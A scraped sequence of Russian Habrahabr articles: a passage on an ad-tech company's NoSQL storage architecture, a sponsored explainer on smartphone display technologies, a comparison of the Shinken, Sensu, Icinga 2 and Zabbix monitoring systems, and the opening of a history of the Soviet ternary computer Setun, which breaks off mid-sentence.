информации о пользователях для последующего анализа и хранение результатов анализа. Решение первой должно обеспечивать высокую пропускную способность при доступе к данным — истории пользовательской активности. Вторая задача требует обеспечить минимальные задержки, те самые 10 мс. Оба решения должны быть хорошо горизонтально масштабируемы. Хранение сырых данных В Facetz.DCA в сутки поступают несколько терабайт логов, для их хранения мы используем распределенную файловую систему HDFS. Обработка данных происходит с использованием парадигмы MapReduce. Доступ к сырым данным организован через Apache Hive — библиотеку, транслирующую SQL-запросы в MapReduce задачи. Более подробно об этих технологиях можно прочитать в наших статьях — этой и этой . Хранения профилей пользователей В Facetz для хранения данных об активности пользователей используется Apache HBase. Информация о посещенных сайтах попадает туда через Map-Reduce сервис Loader, читающий сырые логи с HDFS, а также потоково через Kafka. В HBase данные хранятся в таблицах, ключом является id пользователя, колонки — различные виды фактов, например url посещенной страницы, ее название, useragent или ip-адрес. Колонки объединены в семейства — Column Family, данные из одной Column Family хранятся рядом, что увеличивает скорость выполнения GET-запросов, содержащих данные из нескольких колонок внутри одного семейства. Для каждой ячейки хранится множество версий, в нашей системы роль версии играет время события. Подробнее про Apache HBase Вы можете прочитать в этой статье . В нашем проекте используются как offline, так и realtime сегментация пользователей, что обуславливает два различных паттерна доступа к данным в HBase. Offline сегментация происходит один раз в сутки, в процессе мы проводим полный SCAN HBase-таблицы. Realtime стартует сразу после того, как новый факт о пользователе попадает в базу. Таким образом можно с минимальной задержкой видеть изменение интересов активных пользователей. При realtime сегментации используются GET-запросы в HBase. Для старта мы используем механизм триггеров на уровне БД — coprocessor в терминологии HBase . Он срабатывает при записи новых данных в HBase через операции PUT и BulkLoad. Для обеспечения максимальной скорости работы с данными в HBase у нас используются сервера с SSD дисками. Хранение результатов сегментации пользователей После того, как пользователь был проанализирован, результаты кладутся в отдельную базу для последующего использования. Хранилище должно обеспечивать высокую скорость как записи, так и отдачи данных, объемы которых составляют несколько терабайт — столько занимает общий объем сегментов всех пользователей. Для этих целей мы используем Aerospike — распределенное key-value хранилище, разработанное специально под SSD-диски. Эта СУБД является во многом уникальным продуктом, и одними из наиболее частых ее пользователей являются продукты в сфере programmatic. Среди других возможностей Aerospike стоит отметить поддержку UDF-функций на LUA и возможность (при помощи дополнительной библиотеки) запускать поверх базы Hadoop задачи. Подсчет числа уникальных пользователей в сегменте В процессе анализа DMP подсчитывает количество пользователей в каждом сегменте. Более сложной задачей является определение размеров объединений или пересечений, например, количество беременных женщин в Твери можно посчитать как объем пересечения сегментов «беременные женщины» и «живут в Твери». А число пользователей, обладающих автомобилем Нива и живущих в Вологде или Рязани, как объем пересечения сегмента «владельцы Нивы» с объединением «живут в Вологде» и «живут в Рязани». Одним из основных применений этой информации является прогнозирование охвата рекламной кампании. Для подсчета объемов сегментов мы используем структуру данных HyperLogLog , которая реализована в key-value хранилище Redis. HLL — вероятностная структура данных, позволяющая определять количество уникальных объектов в множестве с небольшой (~0.81%) погрешностью, при этом занимающая достаточно малое количество памяти, в наших задачах это максимум 16 КБ на ключ. Отличительной особенностью HLL является возможножность подсчета числа уникальных объектов в объединении нескольких множеств без появления дополнительной ошибки. К несчастью, работа с пересечениями множеств в HLL сложнее: формула включений — исключений дает очень высокую погрешность в случае большой разницы между объемами множеств, для увеличения точности часто используют MinHash, но это требует специальных доработок и все равно дает достаточно большую ошибку. Еще одной проблемой HLL является то, что ее не всегда удобно использовать в redis-cluster, т.к. без дополнительного копирования данных можно объединять только ключи, находящиеся на одной и той же ноде. Помимо HLL мы используем Redis и для хранения счетчиков, например, числа посещений сайтов в день. Эти данные позволяют нам подсчитывать аффинитивность рекламных площадок . Хранилище настроек и статистики Для хранения конфигураций сервисов, статистических данных и различной мета-информации мы используем MongoDB. В формате Json удобно хранить сложные объекты, а отсутствие схемы данных позволяет легко модифицировать структуру. По факту, мы используем лишь малую часть возможностей этой базы, которая во многих проектах используется в качестве основного хранилища. Планы на будущее Касательно архитектуры хранения на данный момент основным планом является улучшение качества подсчета объемов сегментов пользователей, здесь мы смотрим в сторону ClickHouse и Cloudera Impala. Обе эти базы данных позволяют проводить быстрый подсчет приблизительного количества уникальных объектов в множестве. Резюме NoSQL — базы данных отлично показывают себя в качестве хранилища при построении проектов сфере в онлайн рекламе. Они хорошо масштабируются и при этом позволяют обеспечить высокую скорость доступа к данным. К сожалению, не всегда можно, используя только одну технологию, решить все поставленные задачи, в Facetz.DCA мы успешно используем сразу несколько NoSQL баз данных.
https://habrahabr.ru/company/dca/blog/318464/
habrahabr
Я тебя вижу: как не заблудиться в экранах смартфонов?
['Экраны', 'смартфоны', 'планшеты', 'TFT', 'LCD', 'TN', 'IPS', 'STN', 'CSTN', 'FSTN', 'DSTN', 'SFT', 'PLS', 'OLED', 'AMOLED', 'Gorilla Glass']
Привет, Гиктаймс! До появления на рынке устройств с цветными экранами мобильные телефоны, как правило, оценивали по двум критериям: дизайн и функциональность (ну и чтобы полифония с рингтонами...
Привет, Гиктаймс! До появления на рынке устройств с цветными экранами мобильные телефоны, как правило, оценивали по двум критериям: дизайн и функциональность (ну и чтобы полифония с рингтонами была, конечно). Но когда смартфоны получили массовое распространение, пользователи начали обращать внимание, что у кого-то дисплей ярче, где-то цвета сочнее, а на некоторые экраны вообще не хочется смотреть. Со всеми этими обозначениями вроде IPS, Retina, AMOLED и TFT запутаться можно, так что попробуем разобраться, где же трава зеленее (в прямом смысле). Если тоже хотите это узнать, приглашаем под кат. Тенденция к увеличению диагонали экранов смартфонов вроде бы сошла на нет — производители поняли, что 8-дюймовые телефоны покупаются не так хорошо, да и покупатели ясно обозначили оптимальную для себя диагональ: от 4,7 дюйма до 5 дюймов. Даже Apple, которая долгое время вынашивала свой подход к доступу ко всему экрану «большим пальцем одной руки» c 3,5 дюйма, в конце концов поддалась желаниям пользователей и начала штамповать большие смартфоны. Многие по привычке все еще называют их «лопатофонами», но сейчас это уже не так. Качество картинки от диагонали дисплея практически не зависит — здесь вопрос в удобстве использования. У одних пальцы длиннее, другим надо, чтобы телефон без труда помещался в небольшой карман брюк, и так далее. За качество изображения отвечает разрешение: чем оно выше, тем картинка четче. Соответственно, на экранах с высоким разрешением разглядеть отдельные пиксели человеческим глазом либо невозможно, либо нужно приложить для этого ряд усилий. Разрешение Где встречается 480 x 800 (WVGA) Используется редко в бюджетных смартфонах, максимум с диагональю 4 дюйма, редко 5 дюймов 540 x 960 (qHD) Разрешение для «бюджетников» с диагональю 4-4,5 дюйма 720 x 1280 (HD) Смартфоны средней ценовой категории, диагональ от 4,7 дюйма до 5,5 дюйма ( Xiaomi Redmi 4 ) 1080 x 1920 (Full HD) Флагманское разрешение, используется в смартфонах с диагональю от 5 дюймов и выше (например, Xiaomi Mi Max ) 2560 x 1440 (QHD) Смартфоны премиум-сегмента (LeTV Leeco Le Max 2 и другие) 3840 x 2160 (4K) Экспериментальное разрешение для устройств Samsung и Sony Здесь опять же нельзя не отметить Apple, которая решила выделиться и использовать нестандартные разрешения — 640 x 1136 и 750 x 1334 (используется в iPhone 7 Plus), сделав упор на плотность пикселей (Retina). Если имеем дело со смартфоном средней ценовой категории, здесь отдается предпочтение HD — например, Redmi 3S ($122.99 по промокоду XRBTGB) и Redmi 3 Pro ($142.99 по купону JCWKH). Остальные производители от шаблона стараются не отходить, используя преимущественно Full HD (Xiaomi Mi5 ( $399.99 с купоном ROTHQ ) и другие) — об этом говорит статистика. Пиксели всему голова Мы не зря затронули тему пикселей в последнем абзаце — от показателя плотности пикселей (количества точке на дюйм, ppi) тоже зависит многое. При одном и том же разрешении экрана, но разной диагонали, плотность пикселей будет разной. Apple, например, говорит, что человеческий глаз не может разглядеть пиксели с расстояния 30 см и показателе 300 ppi, поэтому не использует экраны с высокой плотностью точек. Зачем, если восприниматься будет так же, а стоимость увеличится? Но вот многие другие производители продолжают утверждать, что человеческий глаз на самом деле не такой «слепой» и вполне способен различить плотность в 300 и 400 пикселей. Поэтому они предлагают смартфоны с показателем 400 ppi и выше, стоимость которых не обязательно превышает 500 долларов — взять для примера тот же Lenovo X3 Lite с 401 ppi или LeTV LeEco Le 2 Pro с 403 ppi ( $178.99 по промокоду VYLDFS ). Есть ли в этом смысл? В целом, изображение действительно выглядит лучше, но и при 300 ppi вы тоже вполне будете довольны картинкой. Главное не забывать об оптимальном соотношении между диагональю экрана, его разрешением и плотностью пикселей. Например, если для получения хорошей картинки HD-разрешение еще пойдет для 4,7 дюймов, то вот смартфонам с диагональю 5,5 дюйма уже потребуется Full HD. На самом деле многие пользуются смартфонами с плотностью пикселей 250-300 и не обращают внимание на точки. Однако не заметить их при показателе ppi ниже 200 просто невозможно, и это доставляет определенный дискомфорт. Но диагональ, разрешение экрана, плотность пикселей — все это второстепенное по сравнению с другим немаловажным критерием. Поэтому переходим к главному — технологиям изготовления экранов. Что таят в себе матрицы В современных смартфонах наиболее распространены три технологии производства матриц — AMOLED, в которой используются органические светодиоды, и еще две, основанные на жидких кристаллах (LCD) — IPS и TN+film. Во всех типах экранов применяется технология TFT: для работы каждого субпикселя используются тонкопленочные транзисторы. Как правило, матрицы TFT используют аморфный кремний, однако в последнее время производители начали внедрять новую технологию LTPS-TFT, где используется поликристаллический кремний. Размер транзисторов меньше — плотность пикселей больше, даже 500 ppi не предел. Такие смартфоны уже есть, одним из первопроходцев был OnePlus One с 401 ppi. Все LCD работают по одному принципу. Ток прикладывается к молекулам жидких кристаллов, задает угол поляризации света, после чего последний проходит через светофильтр и окрашивается в цвет нужного субпикселя. В бюджетных смартфонах до сих пор используют матрицы TN с малым углом обзора (не более 60 градусов), низким уровнем контрастности и цветопередачи. LCD-дисплеи подразделяются на активные и пассивные. Пассивные матрицы — это STN, технология скрученных кристаллов, и ее продвинутые собратья — CSTN, FSTN и DSTN. Последняя отличается тем, что в такой матрице двухслойная ячейка состоит из двух ячеек STN. При работе молекулы поворачиваются в противоположные стороны, а проходящий свет теряет большую часть своей энергии. К активным матрицам относятся TFT, о которых мы говорили ранее. Поэтому на смену TN пришла технология IPS (SFT). Хотя у IPS-матриц и 20-летняя история, сейчас они остаются очень технологичными. Угол обзора у них достигает 180 градусов, высокий уровень цветопередачи и плотности пикселей. IPS тоже бывают как дешевыми, так и дорогими, причем разница между ними видна сразу: чем дешевле, тем угол обзора меньше, а цвета блеклые. Из качественных стоит отметить AH-IPS от LG и матрицы PLS от Samsung. Последние отображают около 98 % цветов IPS, имеют низкое энергопотребление и стоят на 20 % дешевле. В IPS-матрицах управляющие электроды распределены на одной поверхности так, что силовые линии электрического поля могут принять горизонтальную форму. Как только подается напряжение, жидкие кристаллы разворачиваются в одной плоскости. Поскольку ячейка IPS заперта, она пропускает меньше света, а цветопередача происходит без провалов. IPS-матрицы уже на протяжении нескольких лет популярны среди производителей смартфонов. Их можно встретить как у того же Xiaomi Mi4 , так и у DOOGEE X5 MAX или даже флагманов вроде Huawei Mate 8 . Одним из смартфонов, который сочетает IPS-матрицу и высокий показатель ppi, является Lenovo K5 Note: есть в золотом ($153.99 по промокоду LK5GB ) и серебряном ($150.99 по промокоду LKGB ) цветах. Матрицы OLED, в основе которых органические светодиоды, сильно отличаются от IPS. В данном случае источником света являются сами субпиксели, соответственно отпадает необходимость во внешней подсветке, за счет этого такие экраны тоньше жидкокристаллических. Одна из разновидностей OLED — AMOLED, и применяется в современных флагманах. Управление субпикселями (причем каждым в отдельности) осуществляется при помощи активной TFT-матрицы. AMOLED дисплеи очень хороши для отображения глубокого черного цвета, поскольку для него достаточно лишь отключить светодиоды. Черные участки экрана просто не потребляют энергию, так что такие матрицы еще и довольно экономичные. AMOLED отличается высоким уровнем насыщенности цветов — порой даже настолько насыщенными, что они кажутся нереальными, и приходится регулировать данный параметр при помощи настроек. Нынешние смартфоны такой болезнью уже не страдают, но некоторые производители по-прежнему предоставляют пользователям возможность приблизить картинку к IPS-экранам. Очевидно, AMOLED имеет ряд преимуществ по сравнению с IPS: высокую яркость и контрастность, компактность, меньшую толщину дисплея, цветопередачу. Поэтому OLED-дисплеи дороже и сложнее в производстве, нежели LCD. На первых порах AMOLED-экраны отличались неодинаковым сроком службы светодиодов разных цветов: через некоторое время субпиксели выгорали, откуда возникало остаточное изображение. Современные органические светодиоды рассчитаны как минимум на три года непрерывной работы, так что покупать смартфоны с AMOLED можно смело: например, OnePlus 3T или Huawei P9 Plus . Сейчас все идет к тому, что в будущем все смартфоны будут оснащаться OLED-дисплеями. Даже Apple, по слухам, планирует отказаться от IPS и использовать OLED (может даже гибкий) в iPhone 8. Вот только производителей соответствующего оборудования можно пересчитать по пальцам — на данный момент его едва хватает для потребностей вендоров. Что будет, если к ним присоединится Apple с ее сотнями миллионов iPhone в год? Подумать страшно. Субпиксель имеет значение Да, не только тип матрицы влияет на картинку, но и расположение (рисунок) субпикселей. Если говорить об LCD, то в этих матрицах пиксель RGB состоит из трех вытянутых субпикселей. Они, как правило, выполнены либо в форме прямоугольника, либо тупого угла. Матрицы AMOLED устроены гораздо сложнее. Человеческий глаз очень чувствителен к зеленому свету, и поскольку здесь светятся сами субпиксели, применение такого же рисунка, как на картинках выше, привело бы к потере цветопередачи. На помощь пришла технология PenTile: она использовала красный-зеленый и синий-зеленый пиксели: красные больше походили на квадраты, синие — на прямоугольники, а зеленые были слишком вытянуты. От первой версии PenTile быстро отказались, поскольку пиксели были хорошо видны, а белый свет отдавал серым. Решение нашлось в виде технологии Diamond PenTile (заметили, маркетологи любят ко всему добавлять «бриллианты»?) — новый тип рисунка, где красный, синий и зеленый субпиксели выполнены в форме квадратов. «Серость» белого цвета исчезла, а остальные проблемы решились банальным увеличением количества пикселей на дюйм. Diamond PenTile компания Samsung использует и по сей день в смартфонах Galaxy S7 и S7 Edge. Так что если надумаете брать смартфон с AMOLED, обязательно обращайте внимание на показатель ppi. В идеале он должен быть не менее 300. Немаловажен и ряд конструктивных особенностей экрана. Так, например, отсутствие воздушной прослойки между проекционно-емкостным сенсором и дисплеем позволило увеличить максимальную яркость, цветопередачу и угол обзора — сенсор и матрица в данном случае объединены в единое целое (OGS). Да, замена стекла отдельно от дисплея заметно усложняется, но плюсов у OGS гораздо больше. Gorilla Glass: так ли нужно? Среди производителей смартфонов с давнего времени стал распространен еще один тренд — устанавливать стекла Gorilla Glass. Если вкратце, для производства таких стекол используется диоксид кремния с некоторыми химическими добавками и высокие температуры — более 1000 градусов. Упрочнение происходит по причине возникновения внутренних напряжений определенного вида: сжатия у поверхности и растяжения в ядре. В 2014 году компания Corning представила Gorilla Glass 4, тогда упор был сделан на прочность стекла, которое должно было пережить падение на прочные поверхности — плитку, асфальт и так далее, правда с высоты не более одного метра. В июле этого года было анонсировано новое поколение Gorilla Glass 5: по словам производителей, оно в 1,8 раза прочнее и способно выдержать падение с высоты 1,6 метра в 80 % случаев. Влияет ли это каким-то образом на качество изображения и отзывчивость дисплея? На самом деле нет, а если и влияет, то человеческий глаз вряд ли способен это заметить. Поэтому, когда вы выбираете смартфоны с Gorilla Glass, вы вкладываете не столько в картинку, цветопередачу и т.д., а в то, чтобы стекло не разбилось при падении (а если телефон еще и водонепроницаемый, может и попадание в «русиано» выдержать). Смартфонов с Gorilla Glass сейчас много, тот же Lenovo ZUK Z2 , LEAGOO M8 или ASUS ZenFone ZOOM . Скоро производители и пятое поколение начнут активно эксплуатировать. Какое будущее нас ждёт IPS, OLED, AMOLED — это, конечно, далеко не предел современных технологий. Сейчас активно разрабатываются экраны QLED, где используются квантовые точки — микроскопические кусочки полупроводников. По словам экспертов, матрицы QLED обеспечат высокий уровень яркости и цветопередачи, при этом будут по-прежнему энергоэффективными. Также будущее за гибкими дисплеями — хотя в массовом производстве их еще нет, сама технология развивается стремительными темпами: пару месяцев назад вот российские химики в сотрудничестве с университетом Гронингена из Нидерландов смогли получить органический материал, подходящий для производства гибких дисплеев более дешевым и простым способом. Так что смотрим внимательно, и смотрим в оба! Где-то ошиблись? Поправьте нас в комментариях.
https://geektimes.ru/company/gearbest/blog/284080/
habrahabr
Сравнение систем мониторинга: Shinken vs Sensu vs Icinga 2 vs Zabbix
['shiknen', 'sensu', 'icinga', 'icinga 2', 'zabbix', 'monitoring comparison', 'мониторинг', 'сравнение']
Shinken Согласно официальному сайту, Shinken — фреймворк мониторинга; переписанный с нуля на питоне Nagios Core, с улучшенной поддержкой больших окружений и более...
Shinken Согласно официальному сайту, Shinken — фреймворк мониторинга; переписанный с нуля на питоне Nagios Core, с улучшенной поддержкой больших окружений и более гибкий. Масштабируемость Согласно документации , каждый тип используемых процессов может запускаться на отдельном хосте. Это очень полезная возможность, поскольку вы можете захотеть иметь базу данных в самом дешёвом месте, процессы сбора информации в каждом датацентре, и процессы рассылки уведомлений ближе к своему физическому расположению. Пользователь Shinken на схеме счастлив, это точно является хорошим признаком: Эта система также имеет готовую конфигурацию для межрегионального мониторинга, называемая Realms (Сферы). Здесь вы можете заметить кое-что изумительное: информация собирается в региональные базы данных, а не в одну мастер-базу. Также существует меньшая разновидность конфигурации со сферами для меньших распределённых конфигураций, которая требует всего одну базу данных и несколько хостов для установки: Ещё одной болевой точкой при оценке масштабируемости является отказоустойчивость. Эту информацию я процитирую из документации: Никто не идеален. Сервер может упасть, как и приложение, поэтому администраторы имеют подмены: они могут взять конфигурацию упавших элементов и переподнять их. На текущий момент единственный процесс, который не имеет подмены — Арбитр, но в будущем он будет доработан. Армибр регулярно проверяет, доступны ли все остальные процессы, и если планировщик или другой процесс мертвы, он посылает их конфигурацию на другую ноду, определённую администратором. Все процессы оповещаются об этом изменении, так что они могут использовать новую ноду для доступа к процессу, и не будут пытаться использовать зазбоившую. Если нода была потеряна из-за сетевых проблем, и вернулась в строй, Арбитр заметит это и попросит ноду, выступавшую заменой, сбросить свою временную роль. Интеграция с системами управления конфигурацией Автоматическое нахождение хостов и сервисов хорошо покрывается документацией , и, поскольку конфигурация хранится в файлах, вы довольно просто можете генерировать её с помощью Chef\Puppet, основываясь на информации, уже имеющейся в системе конфигурации (например, PuppetDB). Логирование действий Поскольку конфигурация хранится в файлах, вы можете использовать имеющиеся инструменты типа системы контроля версий (Git, Mercurial) для отслеживания изменений и их владельцев. В документации я не нашёл никаких подтверждений того, что Shinken записывает куда-либо действия пользователя в веб-интерфейсе. UI Shinken WebUI по заверениям использующих его людей хорошо показал себя при работе с тысячами машин и десятками групп. Недостатки Прошерстив документацию, я не нашёл видимых недостатков. Единственная вещь, которая меня смущает, это стремительная разработка в прошлом и очень медленный темп коммитов в настоящем: около 40 в этом году, большинство — вливание пулл-реквестов с багфиксами. Система или слишком хороша для дальнейшего развития (чего не бывает в природе, даже такие старички, как vim и emacs получают новые релизы), или теперь это ещё один открытый проект с недостаточно большим сообществом или проблемами с мейнтейнером — это такая информация, которую хотелось бы знать до начала использования такой комплексной вещи, как система мониторинга. Frédéric Mohier , бывший когда-то в команде разработки Shinken любезно предоставил информацию по этому вопросу: больше года назад несколько разработчиков из команды, будучи несогласными с политикой разработки, покинуло проект и сделало форк, названный Alignak , в данный момент активно разрабатываемый, первый стабильный релиз (1.0) планируется на декабрь 2016. Ссылки Detection and Handling of State Flapping — Shinken Manual Sensu Sensu — фреймворк для мониторинга (или платформа, как они сами о себе говорят), но не готовая система мониторинга. Её сильные стороны включают: Интеграция с Puppet \ Chef — определяйте, что проверять, и куда отправлять уведомления прямо в вашей системе управления конфигурацией Использование имеющихся технических решений там, где это возможно, вместо изобретения велосипедов (Redis, RabbitMQ) Sensu вытягивает события из очереди и выполняет на них обработчики, вот и всё. Обработчики (Handlers) могут посылать сообщения, выполнять что-то на сервере, или делать что угодно ещё, чему вы их научите. Масштабируемость Sensu имеет гибкую архитектуру, поскольку каждый компонент может быть продублирован и заменён несколькими путями. Пример простой отказоустойчивой системы описан в следующей презентации ; вот общая схема: С HAProxy и Redis-sentinel вы можете построить систему, в которой, при наличии хотя бы одной живой машины каждого типа (Sensu API, Sensu Dashboard, RabbitMQ, Redis) мониторинг будет продолжать работать без какого-либо ручного вмешательства. Интеграция с системами управления конфигурацией Встроенная (Puppet, Chef, EC2?!) но только в платной версии, что плохо, особенно если у вас тысячи серверов и вы не хотите платить за что-то, имеющее бесплатные аналоги. Логирование действий Встроенное , однако только в платной редакции. UI Интерфейс по-умолчанию для Sensu, Uchiwa , имеет много ограничений. Он выглядит слишком простым для окружения с тысячами хостов, которые имеют большой разброс по ролям. Платная версия имеет свой собственный дашборд, однако он не сильно отличается от бесплатной редакции, и только добавляет несколько выключенных из-коробки возможностей открытой версии. Недостатки Отсутствие исторической информации и очень ограниченные возможности создания проверок, основанной на ней; Подход "сделай сам" — нет готового мониторинга, который можно было бы включить для вашей системы сразу после установки; Агрегирование событий нетривиально; Замудрёная отправка сообщений, что страшно (потому что это та часть системы, которая должна быть самой простой и надёжной) — неправда, я получил неправильное впечатление от документации , спасибо x70b1 за разъяснение; Путь "мы не хотим изобретать колесо" имеет свои ограничения, которые могут быть вам знакомы, если вы когда-либо использовали подобные системы (в моём случае, это была система мониторинга Prometheus , которая оставляла ряд функций на откуп пользователю, например, авторизацию\аутентификацию\идентификацию). Ссылки Sensu — What I've Learnt MOTD integration Icinga 2 Icinga это форк Nagios'а, во второй версии переписанный с нуля. В отличии от Shinken, этот живой, часто обновляющийся проект. Масштабируемость Общая архитектура: Icinga 2 имеет хорошо продуманную схему распределённого мониторинга . Единственный минус, который я обнаружил при поднятии тестового кластера — сложная изначальная настройка даже самой простейшей распределённой схемы. Интеграция с системами управления конфигурацией Интеграция довольно хороша, вот две презентации по теме: The Road to Lazy Monitoring with Icinga 2 and Puppet от Tom de Vylder, и Icinga 2 and Puppet: Automated Monitoring от Walter Heck. Ключевой особенностью Icinga является хранение конфигурации в файлах, что позволяет легко генерировать конфигурацию средствами Puppet, что в моём случае получилось, используя PuppetDB в качестве источника информации о всех хостах и сервисах. Логирование действий Как я обнаружил, логирование действий представлено в модуле director . Встроенной поддержки аудита в IcingaWeb2 в данный момент нет. UI IcingaWeb2 выглядит неплохим UI с большим количеством дополнений под разные нужды. Из того, что я видел, он выглядит самым гибким и расширяемым, в то же время из коробки поддерживая все возможности, которые вы можете ожидать. Недостатки Единственным недостатком, который я встретил, является сложность изначальной настройки. Непросто понять взгляд Icinga на мониторинг, если вы до этого использовали что-то совершенно иное, как, в моём случае, Zabbix. Zabbix Zabbix — стабильная и надёжная система мониторинга с устойчивой скоростью развития. Он имеет огромное сообщество пользователей и большинство вопросов, которыми вы зададитесь, уже где-то отвечены, так что вам не прийдётся лишний раз волноваться, а возможно ли то или иное в Zabbix. Масштабируемость Сервер работает с единственной базой данных, и вне зависимости от ваших действий, с любыми другими ресурсами на руках (память, сеть, CPU), вы в какой-то момент упрётесь в ограничения IO на диске, используемом базой данных. С 6000 IOPS в Amazon мы поддерживаем около двух тысяч nvps, новых значений в секунду, что неплохо, но всё же оставляет желать лучшего. Прокси и partitioning базы данных улучшает производительность, однако с точки зрения отказаустойчивости вы всё ещё имеете одну-единственную БД, которая является точкой отказа для всей системы. Интеграция с системами управления конфигурацией Zabbix слабо подготовлен для разнообразного окружения, которое управляется системой управления конфигураций. Он имеет встроенные возможности для low-level обнаружения хостов и сервисов, но они имеют свои ограничения и не имеют привязки к системе конфигурации. Единственная возможность для подобной интеграции — собственное решение, использующее API. Логирование действий Zabbix хорошо логирует действия пользователей, за исключением одного слепого пятна: изменения, сделанные через API, большей частью не логгируются , что может быть или может не быть проблемой для вас. Ещё одна вещь, которую я хотел бы упомянуть, это то, что все проблемы с Zabbix записаны где-то в баг-трекере, и, если они получают достаточно внимания со стороны сообщества, то рано или поздно устраняются. UI UI Zabbix'а удобен и включает в себя много возможностей. Обратная сторона — он практически не расширяем, вы или смиряетесь с тем, что предлагает вам стандартный dashboard, либо создаёте свой собственный. Доработка стандартного UI является очень нетривиальной задачей из-за его сложности. Недостатки Только базовая аналитика о том, что происходит в данный момент (не в плане текущих проблем, а частоты из происхождения и подобной информации). Ситуация сильно улучшилась с появлением "топ 100 стреляющих триггеров" в 3.0; Настройка плановых работ (maintenance), в отличии от систем, основанных на Nagios, не может быть выставлена на уровне триггера, и была довольно сложной до недавней переделки 3.2; Генерация алертов из-коробки оставляет желать лучшего (что, впрочем, является проблемой всех до единой систем мониторинга). В нашем случае пришлось разработать внешнюю систему аггрегации алертов (возможно, когда-нибудь она будет опубликована в opensource); Расследование проблем с производительностью без соответствующего опыта превращается в беспорядок, потому что у вас есть один неделимый сервер, который вам необходимо диагностировать. Disclaimer Это длинная запись с большим количеством картинок и ещё большим количеством текста. Здесь вы не найдёте однозначного ответа на простые вопросы наподобие "что лучше", но информацию для ответа на эти вопросы, основываясь на вашем опыте и желаниях. Я рассматриваю условия работы в Linux и слежения за Linux-хостами, поэтому поддержка системой разных платформ в расчёт не принималась. Также за условие принималось требование возможности следить за тысячами машин и тысячами сервисов. По моему мнению, только Zabbix и Icinga 2 являются достаточно зрелыми для использования в "энтерпрайзе", главный вопрос, который должен задать себе тот, кто выбирает систему — какая философия мониторинга ему ближе, поскольку обе они позволяют получить один и тот же результат, используя совершенно разные подходы.
https://habrahabr.ru/post/318466/
habrahabr
Компьютеры Советской России с троичной сбалансированной системой счисления
['сетунь', 'двоичная система', 'троичная система', 'триты', 'трайты', 'тернарный компьютер']
"Возможно, самая красивая система счисления — это сбалансированная троичная" — Дональд Е. Кнут, Искусство программирования, Издание 2.Многие знают, что компьютеры хранят данные и...
"Возможно, самая красивая система счисления — это сбалансированная троичная" — Дональд Е. Кнут, Искусство программирования, Издание 2. Многие знают, что компьютеры хранят данные и работают с ними с помощью двоичной системы счисления. Одно из главных объяснений этому можно найти в схеме современных компьютеров, которые состоят из миллиардов простых и массово производимых транзисторов и конденсаторов, которые могут вместе представлять два состояния: высокое напряжение ( 1 ) и низкое напряжение ( 0 ). Такая конструкция сегодня настолько распространена, что трудно себе представить, как компьютеры могут работать иначе. Но, в Советской России 50-х годов они работали иначе. Если вы вдруг не слышали про такое, загуглите " Сетунь " — сбалансированный трехкомпонентный компьютер, разработанный в 1958 году небольшой группой во главе с Брусенцовым, в МГУ. Перед тем, как говорить о Брусенцове и Сетуни, давайте я немного объясню вам троичную сбалансированную систему счисления. Сбалансированная троичность Тернарная или троичная — это система счисления, в которой есть три вероятных значения: 0 , 1 и 2 . В её сбалансированной версии существуют три вероятности -1 , 0 и +1 , часто упрощённые до - , 0 и + соответственно. В такой форме троичные значения подразумеваются в виде "централизованных" вокруг средней точки 0 . Применяются те же правила, как и к любой другой системе счисления: самый правый символ, R , имеет собственное значение, а каждый последующий символ имеет значение, умноженное на основание B , возведенное в степень равную расстоянию D от R . Эмм, давайте я просто приведу пример. Давайте запишем 114 : +++-0 = (1 * 3^4) + (1 * 3^3) + (1 * 3^2) + (-1 * 3^1) + 0 = 81 + 27 + 9 + -3 = 114 И в бинарной (двоичной): 1110010 = (1 * 2^6) + (1 * 2^5) + (1 * 2^4) + 0 + 0 + (1 * 2^1) + 0 = 64 + 32 + 16 + 2 = 114 И, для уверенности, те же правила, применённые при десятичной системе счисления: 114 = (1 * 10^2) + (1 * 10^1) + (4 * 10^0) = 100 + 10 + 4 = 114 Круто? Что если мы хотим представить -114 ? В двоичной и десятичной системах нам понадобится использовать новый символ: знак (sign). В основной памяти двоичного компьютера это осуществляется либо через хранение ведущего бита, указание знака или значительное уменьшение количества чисел, которые мы можем представить 1 . Именно по этой причине мы говорим о signed и unsigned в языках программирования. Но в симметричной троичной системе, как мы узнаем позже, чтобы представить обратную величину числа (инвертированное число), нам просто нужно поменять все "+" на "-" и наоборот. Нам не нужна какая-то дополнительная информация, чтобы указать знак! Вот смотрите: ---+0 = (-1 * 3^4) + (-1 * 3^3) + (-1 * 3^2) + (1 * 3^1) + 0 = -81 + -27 + -9 + 3 = -114 Чуть позже мы увидим, что это и несколько других свойств сбалансированной троичной системы дают нам некоторые очень интересные вычислительные преимущества. Но сейчас, давайте вернемся к разговору о компьютере Сетунь. Рождение Сетуни В конце 50-х годов в мире компьютеров был захватывающий период: Натаниэль Рочестер и его команда в IBM недавно разработали первый серийно выпускаемый компьютер с хранящейся в памяти программой, так называемый «современный» компьютер IBM 701 . Джон Бэкус со своей командой изобрели FORTRAN , первый язык программирования высокого уровня, который обрёл широкое применение. И, пожалуй, самое главное — начали развиваться первые целиком транзисторные компьютеры, такие как TX-0 и Philco Transac S-2000 . Было задано направление для разработки двоичных компьютеров, которые позже стали доминировать. Но это было в Северной Америке. В то же время в России группа математиков и инженеров под руководством Брусенцова и его коллеги Сергея Соболева разрабатывает другие компьютерные системы 2 . Брусенцов и его коллеги исследуют множество западных компьютеров и технологических достижений, и осмысливают применение транзисторов для представления двоичных данных. Но давайте вспомним, что это СССР — транзисторы не так легко доступны за железным занавесом. А электронные лампы трубки одинаково отстойны как в России, так и на Западе! Поэтому Брусенцов разрабатывает базовый элемент из миниатюрных ферритовых сердечников и полупроводниковых диодов, который способен работать как регулируемый трансформатор тока. Он оказывается эффективной базой для реализации троичной логики 3 . Было установлено, что эти элементы, по сравнению с их двоичными аналогами, обеспечивают более высокую скорость и надежность и требуют меньше мощности для работы. Команда из десяти человек буквально построила Сетунь из ничего, работая в небольшой комнате, заполненной лабораторными столами (которые они же сами и построили!). Каждое утро члены команды собирали пять простых машинных элементов. Они брали ферритовые сердечники и, используя обычную швейную иглу, наматывали на каждый по 52 мотка проволоки. Ядра затем передавали техникам, которые завершали процесс сборки и монтировали их в блоки. Троичная логика была реализована через объединение двух таких ферритовых элементов и подключения их таким образом, что они моделировали три устойчивых состояния. Этот подход был успешным, но количество необходимых элементов не сокращалось, поскольку в действительности два ферритовых сердечника могут потенциально представлять собой два двоичных бита, что в итоге даёт больший объём информации (2 ^ 2), чем один троичный "трит" (3 ^ 1), Печально, но хотя бы потребляемая мощность была снижена! Сетунь оперирует числами до 18 тритов, то есть один трит может 